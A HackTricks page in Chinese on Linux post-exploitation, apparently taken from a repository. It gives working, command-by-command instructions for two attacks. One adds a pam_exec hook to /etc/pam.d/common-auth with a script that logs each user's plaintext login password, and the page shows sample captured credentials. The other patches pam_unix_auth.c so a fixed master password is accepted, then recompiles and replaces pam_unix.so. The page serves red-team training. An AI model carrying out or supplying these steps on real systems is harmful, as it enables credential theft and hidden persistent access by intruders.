hacktricks/linux-hardening/linux-post-exploitation/README.md

5.6 KiB
Raw Blame History

Linux后渗透

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

使用PAM嗅探登录密码

让我们配置一个PAM模块以记录每个用户用于登录的密码。如果您不知道什么是PAM请查看

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

首先我们创建一个bash脚本每当发生新的身份验证时都会调用该脚本。

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log

变量是PAM特定的并将通过pam_exec.so模块可用。

以下是变量的含义:

  • $PAM_USER: 输入的用户名。
  • $PAM_RHOST: 远程主机通常是IP地址
  • $(cat -): 这会读取stdin,并包含脚本抓取的密码
  • 结果被导入到/var/log/toomanysecrets.log中的日志文件中

防止所有用户读取该文件,请考虑预先创建它并运行chmod,例如:

sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh

接下来需要更新PAM配置文件将使用pam_exec模块来调用脚本。

/etc/pam.d/目录中有各种配置文件,我们选择common-auth

sudo nano /etc/pam.d/common-auth

在文件的底部,添加以下身份验证模块:

auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh

这些选项的含义如下:

  • optional 如果出现错误,认证不会失败(这不是必需的步骤)
  • pam_exec.so 这是可以调用任意脚本的现成 PAM 模块
  • expose_authtok 这是通过 stdin 读取密码的技巧
  • quiet 不向用户显示任何错误(如果有什么问题)
  • 最后一个参数是之前创建的 shell 脚本

最后,将文件设置为可执行:

sudo chmod 700 /usr/local/bin/toomanysecrets.sh

现在,让我们尝试一下,从另一台机器进行 SSH 登录,或者本地登录。

然后查看日志文件:

$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149

后门PAM

让我们进入PAM的源代码取决于您的发行版选择与您相同版本号的文件..并查看pam_unix_auth.c文件中的170/180行附近

vi modules/pam_unix/pam_unix_auth.c

让我们通过以下方式更改:

这将允许任何使用**密码"0xMitsurugi"**的用户登录。

重新编译pam_unix_auth.c,并替换pam_unix.so文件:

make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/

{% hint style="info" %} 您可以使用https://github.com/zephrax/linux-pam-backdoor来自动化此过程。 {% endhint %}

参考资料

从零开始学习AWS黑客技术成为英雄使用 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式